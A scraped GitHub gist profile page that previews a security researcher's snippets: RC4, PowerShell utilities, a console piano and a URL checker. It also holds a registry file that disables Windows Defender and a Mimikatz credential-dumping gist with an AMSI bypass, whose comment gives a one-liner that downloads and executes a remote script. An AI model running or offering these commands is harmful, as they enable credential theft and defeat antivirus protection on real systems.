Skip to content

Instantly share code, notes, and snippets.

View Sh1n0g1's full-sized avatar

Sh1n0g1 Sh1n0g1

View GitHub Profile
@Sh1n0g1
Sh1n0g1 / rc4.py
Created July 5, 2017 11:11
Encrypt/Decrypt RC4 by a String Key
import sys
def rc4init(key):
x=0
box = range(256)
for i in range(256):
x = (x + box[i] + ord(key[i % len(key)])) % 256
box[i], box[x] = box[x], box[i]
return box
@Sh1n0g1
Sh1n0g1 / Get-ActiveTime.ps1
Created August 25, 2017 12:55
Get the active time from Eventlog, login event.
#Initialize
$Weekday=@("Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday")
$LoginData=@{}
ForEach($w in $Weekday){
$LoginData[$w]=@{}
0..23 | % {$LoginData[$w][$_]=0}
}
#Get the data from Eventlog
$i=0
@Sh1n0g1
Sh1n0g1 / Play-ShinoTone
Created August 25, 2017 13:54
Powershell-based piano using the Console Beep.
Function Play-ShinoTone{
cls
$octave=2
$keytone=@{ # http://pages.mtu.edu/~suits/notefreqs.html
'a'=261.63*$octave; # C
'w'=277.18*$octave; # C#
's'=293.66*$octave; # D
'e'=311.13*$octave; # D#
'd'=329.63*$octave; # E
'f'=349.23*$octave; # F
@Sh1n0g1
Sh1n0g1 / Helloworld_C_Sharp.ps1
Created August 26, 2017 01:33
Run C# code in PowerShell
$assemblies=(
"System"
)
$source=@"
using System;
namespace Helloworld
{
public static class Hello{
public static void Main(){
#!python3
import requests
import time
URL= [
'http://shino.club/ ',
'https://shinobot.com/ ',
'https://mnd2015.info/ ',
'https://shinosec.com/ ',
@echo off
net session >nul 2>&1
if %errorlevel% == 0 (
echo|set /p="Adding registry 1:"
reg add HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ /v EnableModuleLogging /f /t REG_DWORD /d 1
echo|set /p="Adding registry 2:"
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]
"DisableAntiSpyware"=dword:00000001
"DisableRealtimeMonitoring"=dword:00000001
"DisableAntiVirus"=dword:00000001
"DisableSpecialRunningModes"=dword:00000001
"DisableRoutinelyTakingAction"=dword:00000001
"ServiceKeepAlive"=dword:00000000
@Sh1n0g1
Sh1n0g1 / Invoke-OneShot-Mimikatz.ps1
Last active August 12, 2022 08:08 — forked from pich4ya/Invoke-OneShot-Mimikatz.ps1
Invoke-OneShot-Mimikatz.ps1 - One Shot for Mimikatz PowerShell Dump All Creds with AMSI Bypass 2022 Edition (Tested and worked on Windows 10 x64 patched 2022-03-26)
# Confirm it works in Windows 10 2022
# Dont download this but execute the next line in command prompt(cmd.exe)
# powershell iex (wget https://gist.githubusercontent.com/Sh1n0g1/b93b48a54276145bd117403a38fd9816/raw/637d7447dc7a99e21cfeec18bec950abbc1bd642/Invoke-OneShot-Mimikatz.ps1).Content
# You will get creds
#
# AMSI Bypass is copied from payatu's AMSI-Bypass (23-August-2021)
# https://payatu.com/blog/arun.nair/amsi-bypass
$code = @"
using System;
@Sh1n0g1
Sh1n0g1 / shinolang.ipynb
Created May 20, 2023 01:29
ShinoLang.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@Sh1n0g1
Sh1n0g1 / youtube-summarizer-with-langchain-chatgpt.ipynb
Last active May 25, 2023 04:15
youtube-summarizer-with-langchain-chatgpt.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.